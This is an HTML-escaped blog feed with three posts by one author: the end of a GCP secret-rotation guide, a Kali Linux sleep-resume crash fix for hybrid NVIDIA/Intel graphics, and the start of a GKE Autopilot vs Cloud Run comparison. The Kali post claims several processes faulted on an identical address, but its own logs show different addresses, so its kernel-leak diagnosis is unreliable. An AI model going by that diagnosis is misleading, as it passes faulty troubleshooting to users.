  &lt;span class="nt"&gt;--member&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"serviceAccount:rotator@PROJECT_ID.iam.gserviceaccount.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"roles/secretmanager.secretVersionAdder"&lt;/span&gt;

&lt;span class="c"&gt;# The workload itself only needs accessor, and only on the&lt;/span&gt;
&lt;span class="c"&gt;# secrets it actually reads — never secretmanager.admin.&lt;/span&gt;
gcloud secrets add-iam-policy-binding db-password &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--member&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"serviceAccount:app@PROJECT_ID.iam.gserviceaccount.com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"roles/secretmanager.secretAccessor"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is where Workload Identity Federation earns its keep if you rotate from CI: the CI job gets a short-lived token scoped to exactly this secret, instead of a long-lived service-account key that itself becomes a rotation problem. Every long-lived credential you create is a future rotation ticket. Count them before you create them.&lt;/p&gt;

&lt;h2&gt;
  
  
  What breaks, honestly
&lt;/h2&gt;

&lt;p&gt;A few limitations worth naming before you adopt this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dual acceptance is not always possible.&lt;/strong&gt; Some third-party APIs allow only one active key at a time. In that case the transition window is a real outage risk, and the honest answer is to schedule the rotation, accept a brief window, and have a rollback ready — not to pretend the pattern covers it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secret Manager versions are not free of cost at large scale&lt;/strong&gt;, and neither is KMS. For a solo builder the bill is small, but if you rotate hundreds of secrets weekly, count versions and key operations before you automate aggressively.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotation does not revoke leaked values.&lt;/strong&gt; If a secret was exposed, rotating it is necessary but not sufficient: you also need to check logs for use of the old value, revoke sessions or tokens derived from it, and treat the exposure as an incident, not a housekeeping task.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Destroying a secret version is irreversible.&lt;/strong&gt; Disabled versions can be re-enabled. Destroyed ones cannot. I have never once regretted waiting an extra month before destroying.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The checklist I actually use
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Which layer am I rotating — value, key, or both?&lt;/li&gt;
&lt;li&gt;Can the consumer accept both values during the transition? If not, what is the planned window?&lt;/li&gt;
&lt;li&gt;Is the new version pinned in the deploy, not floating on &lt;code&gt;latest&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Has traffic fully shifted off every revision using the old version?&lt;/li&gt;
&lt;li&gt;Old version disabled — not destroyed — and the disable date recorded.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That is the whole system. It is not clever, and that is the point. Secret rotation should be boring. The night I rotated by hand taught me that the goal is not a faster rotation; it is a rotation so uneventful that nobody remembers it happened.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Separate the secret, the encryption key, and the access path; rotate each deliberately.&lt;/li&gt;
&lt;li&gt;Dual-version rotation — new version live, old version still accepted, deploy, verify, then disable — is what makes rotation safe.&lt;/li&gt;
&lt;li&gt;Pin secret versions in Cloud Run deploys; &lt;code&gt;latest&lt;/code&gt; trades safety for convenience.&lt;/li&gt;
&lt;li&gt;Automate generation, keep a human on the irreversible step.&lt;/li&gt;
&lt;li&gt;Disable before you destroy, and never confuse rotation with incident response for a leaked secret.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>googlecloud</category>
    </item>
    <item>
      <title>My Kali Linux Laptop Was Crashing on Every Sleep Resume — Here's What Fixed It</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Sat, 31 Oct 2026 17:26:10 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/my-kali-linux-laptop-was-crashing-on-every-sleep-resume-heres-what-fixed-it-55ek</link>
      <guid>https://dev.to/purvanshbhatt/my-kali-linux-laptop-was-crashing-on-every-sleep-resume-heres-what-fixed-it-55ek</guid>
      <description>&lt;p&gt;I run Kali Linux 2026.3 rolling release on a laptop with a hybrid &lt;strong&gt;NVIDIA GeForce GTX 1050 Mobile + Intel UHD Graphics 620&lt;/strong&gt; setup. For months, closing the lid was a gamble. &lt;/p&gt;

&lt;p&gt;About half the time, resuming from hybrid sleep or suspend resulted in a hard freeze, black screen, and unresponsive keyboard LEDs, forcing a hard power-button reboot. After that restart, my environment was crippled:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Core developer tools and Electron apps threw immediate segmentation faults on launch.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dpkg&lt;/code&gt; crashed with &lt;code&gt;traps: dpkg[...] general protection fault&lt;/code&gt; during package configuration.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;bun&lt;/code&gt; binaries were truncated or threw invalid pointer exceptions.&lt;/li&gt;
&lt;li&gt;Stale POSIX shared memory segments and semaphores locked resources from dead sessions.&lt;/li&gt;
&lt;li&gt;RAM sat bloated with orphaned worker processes holding Gigabytes of unreleased cache.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As a security engineer and systems administrator, I decided to stop applying band-aids and diagnose the root cause down to the kernel and hardware interface. &lt;/p&gt;

&lt;p&gt;What I uncovered was a compound failure cascade across NVIDIA driver memory management, systemd suspend hooks, ACPI power states, and GRUB kernel parameter typos. Here is the full forensic breakdown, the architectural flowcharts, and the automated recovery scripts I wrote to permanently fix it.&lt;/p&gt;




&lt;h2&gt;
  
  
  🔬 The Anatomy of the Failure Cascade
&lt;/h2&gt;

&lt;p&gt;When a hybrid graphics laptop suspends, power to the dedicated GPU (dGPU) is transitioned to a D3/cold state. If the driver is not configured to save video memory allocations to host system RAM before this transition, the VRAM contents evaporate.&lt;/p&gt;

&lt;p&gt;Here is the exact crash cascade visualised:&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart TD
    A["Lid Closed / Hybrid Sleep Triggered"] --&amp;gt; B["ACPI Sleep State Activated (deep / S3)"]
    B --&amp;gt; C["Intel UHD 620 Integrated GPU Suspends Cleanly"]
    B --&amp;gt; D["NVIDIA GTX 1050 Mobile Cuts Power to VRAM"]

    D --&amp;gt;|"NVreg_PreserveVideoMemoryAllocations=0 (Default)"| E["VRAM Contents Evaporate (Textures, Buffers, Handles Wiped)"]

    F["Laptop Resumes / Lid Opened"] --&amp;gt; G["CPU &amp;amp; Display Wake Up"]
    G --&amp;gt; H["Kernel Attempts to Restore dGPU Context"]

    H --&amp;gt;|"nvidia-suspend/resume Services Disabled"| I["dGPU Fails Re-initialisation DMA Handshake"]
    E --&amp;gt; J["Virtual Memory Addresses Point to Null/Garbage VRAM"]

    J --&amp;gt; K{"Running Apps Access Memory Pointers"}
    K --&amp;gt;|"Chrome / Electron / Antigravity"| L["Segmentation Fault (SIGSEGV) at 0x39d303c40000"]
    K --&amp;gt;|"dpkg Package Manager"| M["General Protection Fault (GPF) in dpkg"]
    K --&amp;gt;|"Python &amp;amp; Bun Runtimes"| N["Invalid Opcode / Stack Pointer Corruption"]

    L --&amp;gt; O["Hard Lockup / System Unresponsive"]
    M --&amp;gt; O
    N --&amp;gt; O&lt;/code&gt;&lt;/pre&gt;






&lt;h2&gt;
  
  
  🔍 Forensic Kernel Logs (What the System Was Screaming)
&lt;/h2&gt;

&lt;p&gt;Inspecting &lt;code&gt;journalctl -b -1&lt;/code&gt; (the boot log of the crashed session) and &lt;code&gt;dmesg&lt;/code&gt; revealed recurring memory corruption patterns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;kernel: traps: ThreadPoolForeg[7845] trap int3 ip:55b137835d17 sp:7faf2a1eb700 error:0 in antigravity[35e9d17,55b137647000+9eee000]
kernel: ThreadPoolForeg[7915]: segfault at 39d303c40000 ip 000055b137879da4 sp 00007faf299ea6e0 error 4 in antigravity
kernel: traps: dpkg[8814] general protection fault ip:55953fe760c0 sp:7ffe1e68b708 error:0 in dpkg[260c0,55953fe57000+2f000]
kernel: python[7749]: segfault at 9 ip 0000000001800600 sp 00007ffe87f93888 error 4 in python3.14
kernel: ServiceWorker[11532]: segfault at 3631001c8928 ip 00005595f7d4d7b1 error 4 in chrome
kernel: nvidia-modeset: ERROR: GPU:0: Failed to allocate display engine core DMA push buffer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Key Diagnostic Indicators:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Shared Non-Canonical Addresses (&lt;code&gt;0x39d303c40000&lt;/code&gt;):&lt;/strong&gt; Multiple disparate processes (Electron, Chrome, Python, even dpkg) faulted on the identical high-order virtual address. This indicated that corrupted kernel memory structures were leaking into user-space process address spaces.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;Failed to allocate display engine core DMA push buffer&lt;/code&gt;:&lt;/strong&gt; The NVIDIA driver's mode-setting engine crashed because memory reserved for hardware DMA rings had disappeared during suspend.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  🛠️ The 5 Root Causes and Permanent Solutions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. NVIDIA Driver Did Not Preserve VRAM (&lt;code&gt;NVreg_PreserveVideoMemoryAllocations=0&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;By default, the NVIDIA proprietary driver drops all video memory allocations upon suspend to save power. On hybrid setups, resume requires reconstructing these buffers from scratch, which fails when apps hold live rendering contexts.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Tell the kernel driver to allocate host system RAM and disk backing to preserve VRAM buffers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# /etc/modprobe.d/nvidia-power.conf&lt;/span&gt;
options nvidia-current &lt;span class="nv"&gt;NVreg_PreserveVideoMemoryAllocations&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
options nvidia-current &lt;span class="nv"&gt;NVreg_EnableS0ixPowerManagement&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. NVIDIA Systemd Power Services Were Disabled
&lt;/h3&gt;

&lt;p&gt;The NVIDIA Linux driver ships with dedicated systemd units (&lt;code&gt;nvidia-suspend&lt;/code&gt;, &lt;code&gt;nvidia-resume&lt;/code&gt;, and &lt;code&gt;nvidia-hibernate&lt;/code&gt;) that coordinate memory evacuation before the kernel suspends PCI buses. On Kali Rolling, these units are shipped in an &lt;strong&gt;inactive/disabled&lt;/strong&gt; state by default.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;nvidia-suspend.service
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;nvidia-resume.service
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;nvidia-hibernate.service
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;nvidia-persistenced.service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Corrupted GRUB Bootloader Cmdline
&lt;/h3&gt;

&lt;p&gt;Inspecting &lt;code&gt;/etc/default/grub&lt;/code&gt; revealed critical configuration typos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;achi.mobile_lpm_policy=1&lt;/code&gt; — a typo for &lt;code&gt;ahci&lt;/code&gt; (Advanced Host Controller Interface). This misconfigured SATA Link Power Management.&lt;/li&gt;
&lt;li&gt;A truncated command line ending in an unfinished &lt;code&gt;ir&lt;/code&gt; parameter.&lt;/li&gt;
&lt;li&gt;Missing &lt;code&gt;nvidia-drm.modeset=1&lt;/code&gt; and &lt;code&gt;nvidia-drm.fbdev=1&lt;/code&gt; required for atomic kernel mode setting.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Updated /etc/default/grub&lt;/span&gt;
&lt;span class="nv"&gt;GRUB_CMDLINE_LINUX_DEFAULT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"quiet resume=UUID=01f247d0-f12f-4d4c-9b47-2ea23d5d6a5b pcie_aspm=off ahci.mobile_lpm_policy=1 nvidia-drm.modeset=1 nvidia-drm.fbdev=1 ibt=off"&lt;/span&gt;

&lt;span class="nb"&gt;sudo &lt;/span&gt;update-grub
&lt;span class="nb"&gt;sudo &lt;/span&gt;update-initramfs &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="nt"&gt;-k&lt;/span&gt; all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4. Dirty Page Cache &amp;amp; Swap Thrashing
&lt;/h3&gt;

&lt;p&gt;With &lt;code&gt;vm.swappiness=60&lt;/code&gt; and 16GB RAM, the kernel aggressively swapped memory during intensive tasks. On hard restart after a crash, stale swap blocks and dirty buffer caches caused corrupted reads.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Lower swappiness to &lt;code&gt;10&lt;/code&gt; and install an automated systemd pre-sleep hook:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# /usr/lib/systemd/system-sleep/fix-all-hook.sh&lt;/span&gt;
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="k"&gt;in
  &lt;/span&gt;pre/&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;sync
    echo &lt;/span&gt;3 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /proc/sys/vm/drop_caches
    &lt;span class="p"&gt;;;&lt;/span&gt;
  post/&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;sleep &lt;/span&gt;2
    nvidia-smi &amp;amp;&amp;gt;/dev/null &lt;span class="o"&gt;||&lt;/span&gt; modprobe &lt;span class="nt"&gt;-r&lt;/span&gt; nvidia_uvm &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; modprobe nvidia_uvm
    &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  ⚡ The Automated Remediation Architecture
&lt;/h2&gt;

&lt;p&gt;To ensure I never have to manually troubleshoot this again, I built a modular 3-tier maintenance toolkit installed directly into &lt;code&gt;/usr/local/bin&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart LR
    subgraph Toolkit["Kali Maintenance Toolkit (/usr/local/bin)"]
        direction TB
        F["fix-apps"] --&amp;gt;|"Routine Maintenance"| R1["Clean Buffers &amp;amp; Drop Caches"]
        F --&amp;gt; R2["Flush Node/Pip/UV/Bun Caches"]
        F --&amp;gt; R3["Reap Zombie / Defunct PIDs"]

        A["fix-all --recover"] --&amp;gt;|"Post-Crash Emergency"| C1["Repair dpkg Locks &amp;amp; Audits"]
        A --&amp;gt; C2["Clean Stale SHM &amp;amp; Semaphores"]
        A --&amp;gt; C3["Verify &amp;amp; Reinstall Bun Runtimes"]
        A --&amp;gt; C4["Cycle Stale Swap Blocks"]

        P["fix-all --permanent"] --&amp;gt;|"One-Time Setup"| S1["Configure NVIDIA modprobe"]
        P --&amp;gt; S2["Enable Systemd Lifecycle Units"]
        P --&amp;gt; S3["Patch GRUB &amp;amp; Rebuild Initramfs"]
        P --&amp;gt; S4["Deploy /usr/lib/systemd Hooks"]

        U["update-all"] --&amp;gt;|"System Sync"| UP1["apt full-upgrade (Kali Rolling)"]
        U --&amp;gt; UP2["Self-Update Bun, Ollama, Go, Rust"]
    end&lt;/code&gt;&lt;/pre&gt;






&lt;h2&gt;
  
  
  🚀 How to Use the Toolkit
&lt;/h2&gt;

&lt;p&gt;Clone the scripts directly from the &lt;a href="https://github.com/purvanshbhatt/Cybersecurity-Research-Reports/tree/main/kali-maintenance-scripts" rel="noopener noreferrer"&gt;GitHub Research Repository&lt;/a&gt;:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Emergency Recovery (Run this if an app crashes or after a freeze)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;fix-all &lt;span class="nt"&gt;--recover&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Repairs package manager locks, repairs broken dependencies, cleans IPC shared memory, flushes page cache, and cycles swap.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Routine RAM Cleaner (Run anytime memory feels sluggish)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fix-apps
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Non-destructively sweeps memory hogs, purges compile caches, and frees 2GB+ of cached memory safely.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Full System Update (Handles Kali Rolling properly)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;update-all
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Unlike &lt;code&gt;apt upgrade&lt;/code&gt; which often holds back dependencies on Kali rolling releases, &lt;code&gt;update-all&lt;/code&gt; executes a clean &lt;code&gt;apt full-upgrade&lt;/code&gt;, updates local developer runtimes (Bun, Ollama, Rust, Go, OpenCode), and cleans orphaned packages.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  💡 What This Taught Me as a Security Engineer
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Don't ignore repeating addresses in core dumps:&lt;/strong&gt; When 4 different applications crash on the same memory address, it is never an application bug. It is a kernel virtual memory mapping breakdown.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hybrid graphics require explicit lifecycle management:&lt;/strong&gt; Modern Linux distros handle integrated GPUs gracefully, but proprietary discrete GPUs require active synchronization between ACPI power states, systemd services, and driver memory parameters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automate root-cause remediation:&lt;/strong&gt; Building automated repair scripts converts one-off firefighting into permanent operational resilience.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Check out the full repository and source code:&lt;br&gt;
👉 &lt;strong&gt;&lt;a href="https://github.com/purvanshbhatt/Cybersecurity-Research-Reports/tree/main/kali-maintenance-scripts" rel="noopener noreferrer"&gt;GitHub: purvanshbhatt/Cybersecurity-Research-Reports&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>kali</category>
      <category>bash</category>
      <category>debugging</category>
    </item>
    <item>
      <title>GKE Autopilot vs Cloud Run: The Decision I Keep Coming Back To</title>
      <dc:creator>Purvansh Bhatt</dc:creator>
      <pubDate>Sat, 24 Oct 2026 17:16:56 +0000</pubDate>
      <link>https://dev.to/purvanshbhatt/gke-autopilot-vs-cloud-run-the-decision-i-keep-coming-back-to-2m93</link>
      <guid>https://dev.to/purvanshbhatt/gke-autopilot-vs-cloud-run-the-decision-i-keep-coming-back-to-2m93</guid>
      <description>&lt;p&gt;Every few months, I open the same question again: should this thing be running on Kubernetes?&lt;/p&gt;

&lt;p&gt;I build security tooling as a solo founder. My stack is unglamorous on purpose: a FastAPI service with a deterministic Python scoring engine, a React frontend, PostgreSQL, and everything deployed on Cloud Run. It works. It scales when it needs to and scales to nothing when it does not. And yet the question keeps returning, because Kubernetes is the default answer in so many rooms, and "just use Cloud Run" can start to feel like a decision I made by accident rather than on purpose.&lt;/p&gt;

&lt;p&gt;So I finally wrote the decision down — the framework I use, the five questions I ask, and when I would switch. If you are a solo builder choosing between GKE Autopilot and Cloud Run, this is the post I wish I had found earlier. Not because my answer is yours, but because the questions are portable.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;What I actually run, and why it matters&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Context first, because "which is better" is meaningless without it. My core service is a FastAPI API: requests come in, a deterministic scoring engine runs, a response goes out. Scoring is computed in plain Python — no model calls in the scoring path, ever. Language models only write the narrative explanation around a score, never the score itself. That separation is a product decision, but it is also an infrastructure decision: the hot path is stateless, CPU-bound, and easy to parallelize. It does not hold long-lived connections, it does not need a daemon on every node, and it does not care which machine runs it.&lt;/p&gt;

&lt;p&gt;Around that core I have batch work — scheduled scans and verification jobs — which run as Cloud Run Jobs, triggered by Cloud Scheduler through Pub/Sub. The frontend is static, served separately. Firebase handles auth, with custom claims carrying tenant context that my FastAPI middleware checks on every request, fail-closed.&lt;/p&gt;

&lt;p&gt;None of that needs Kubernetes. That is not a criticism of Kubernetes; it is the starting fact. The question is never "is Kubernetes powerful?" It obviously is. The question is "what does it buy &lt;em&gt;this&lt;/em&gt; workload that Cloud Run does not, and what does it cost me — in toil, not just in money — to get it?"&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Question 1: What shape is the traffic?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;This is the question that decides most of it for me.&lt;/p&gt;

&lt;p&gt;Cloud Run is built for request-shaped work: a request arrives, a container handles it, the container scales out under load and back down — to zero — when idle. My API is exactly that shape. My batch jobs are also that shape, just on a schedule instead of a request. The platform handles scaling, load balancing, and TLS, and I do not think about nodes at all.&lt;/p&gt;

&lt;p&gt;GKE Autopilot starts to earn its keep when the shape stops looking like requests. Long-lived agents that maintain persistent connections to targets. DaemonSets that must run on every node. Stateful workloads that need stable storage and identity. Custom networking that Cloud Run's abstraction does not expose. A security scanner that needs to sit on a network and watch it continuously is a different shape from an API that answers questions about scan results — and the continuous watcher is the workload I would genuinely consider Kubernetes for.&lt;/p&gt;

&lt;p&gt;For my current workloads, the traffic shape points one way. If I ever build a persistent agent that lives on a customer's network, it will point the other way, and I will not feel like I am betraying a principle by switching for that workload. Different shapes, different platforms. That is allowed.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Question 2: How much toil can one person afford?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;This is the question people underweight, and it is the one that matters most when the team is one person.&lt;/p&gt;

&lt;p&gt;Cloud Run's operational surface is small: a service, a job, an IAM binding, a revision. When something breaks, the list of things I could have misconfigured is short. GKE Autopilot removes a lot of traditional Kubernetes toil — Google manages the nodes, and you do not pay for idle node capacity in the same way — but it does not remove Kubernetes itself. You still own deployments, services, ingress, namespaces, PodDisruptionBudgets, resource requests, and the debugging that comes with them. Autopilot makes Kubernetes cheaper to run, not simpler to think about.&lt;/p&gt;

&lt;p&gt;I have a rule for this: every platform I adopt must reduce the number of things I can get wrong at 2 AM. Cloud Run passes that test for my workloads. GKE, even Autopilot, adds a layer of concepts I would need to hold in my head for a payoff my current workloads do not use. That is not a permanent verdict — it is a budget. I have a fixed amount of operational attention, and I would rather spend it on detection logic and verification quality than on cluster hygiene.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Question 3: What does the cost curve actually look like?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;I will not quote you a bill here, because a bill without a workload attached is meaningless, and anyone who gives you a precise number for a workload they have not seen is selling something. What I can say honestly is how the two cost shapes differ, because the shape is what bites you.&lt;/p&gt;

&lt;p&gt;Cloud Run charges for what you use: requests served, time containers actually run. Idle costs trend toward zero, which is exactly what a bootstrapped builder wants for a service with bursty, uneven traffic. The risk is the opposite direction: a runaway workload — a retry storm, a scan loop that never terminates — can scale enthusiastically, which is why budgets, alerts, and concurrency limits are not optional. I wrote about cost guardrails before for exactly this reason: the bill is a function of your worst day, not your average day.&lt;/p&gt;

&lt;p&gt;GKE Autopilot charges per Pod, for the resources you request, while the Pod runs. That shape is kinder to steady, always-on workloads and harsher to spiky ones if you over-request resources — and everyone over-requests at first, because under-requesting gets you throttled or evicted, and over-requesting just gets you a quiet bill. For a workload that is genuinely always on, Autopilot's shape can be the cheaper and more predictable one. For a workload that is idle most of the day, it is paying rent on an empty room.&lt;/p&gt;

&lt;p&gt;My workloads are bursty. That is the whole answer to question three, for now.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Question 4: How much control do you actually need?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Cloud Run hides things: the nodes, the networking internals, some of the knobs. Most days, that is a gift. Some days, it is a wall. The honest version of this question is: "Name the specific control you need that Cloud Run does not give you." Not "more control" in the abstract — a named knob, for a named reason.&lt;/p&gt;

&lt;p&gt;For my API, I cannot name one. VPC connectivity, private ingress, custom domains, IAM-based invocation, concurrency tuning, CPU allocation — Cloud Run exposes the controls my workload actually exercises. The day I can name a missing control — say, a requirement for a specific CNI behavior, or a sidecar pattern that genuinely needs Pod-level co-scheduling — that is the day the answer changes. Until then, "more control" is a feeling, not a requirement, and feelings are a bad reason to adopt a platform.&lt;/p&gt;

&lt;p&gt;Security arguments cut the same way: Kubernetes is not inherently more secure, just more &lt;em&gt;configurable&lt;/em&gt; — every knob gained is a knob you can misconfigure. Cloud Run's smaller surface means fewer misconfigurations to make, and SCC, VPC Service Controls, and Cloud Armor do perimeter work regardless of the compute behind them. The platform choice is not the security posture; the configuration is.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;Question 5: What happens when you are not there?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Solo founder reality: there is no on-call rotation. There is me, and there is whatever the platform does without me.&lt;/p&gt;

&lt;p&gt;Cloud Run's failure modes are ones I understand: a bad revision rolls back by shifting traffic to the previous one, a job fails and Scheduler retries it, a container crashes and a new one starts. Recovery is usually "the platform did it" or "I redeployed the last good revision." GKE's failure modes are richer — node issues, Pod evictions, ingress misconfigurations, a bad rollout that needs a manual rollback across namespaces — and richer failure modes need a richer mental model at the exact moment you are least able to supply one.&lt;/p&gt;

&lt;p&gt;That is not an argument that Kubernetes is unreliable. It is an argument that its reliability depends on its operator, and its operator is currently one tired person. A platform that fails in ways I can fix quickly beats a platform that fails in ways I need to research first, at least until the team grows past one.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;So what did I choose, and when would I switch?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;I stayed on Cloud Run. For a stateless FastAPI API, scheduled batch jobs, and a static frontend, it is the right platform: request-shaped traffic, near-zero idle cost, a small operational surface, and failure modes one person can handle.&lt;/p&gt;

&lt;p&gt;I would switch — for a specific workload, not for everything at once — when one of these becomes true:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A persistent agent.&lt;/strong&gt; A long-lived scanner or watcher that holds connections and cannot be expressed as requests or jobs.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A named missing control.&lt;/strong&gt; A specific networking or scheduling requirement Cloud Run cannot meet, not a general desire for "more control."
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A second operator.&lt;/strong&gt; The day someone else shares on-call, the toil budget changes, and the calculus changes with it.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Steady, always-on load.&lt;/strong&gt; If a workload stops being bursty and becomes constant, Autopilot's per-Pod shape may beat scale-to-zero on cost and predictability.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Notice what is not on that list: "because everyone uses Kubernetes," "because it looks more serious," or "because I might need it someday." Those are reasons to learn Kubernetes — which I am doing, deliberately, on side projects where the stakes are learning, not production. They are not reasons to migrate a working production system.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;The takeaway&lt;/strong&gt;
&lt;/h2&gt;

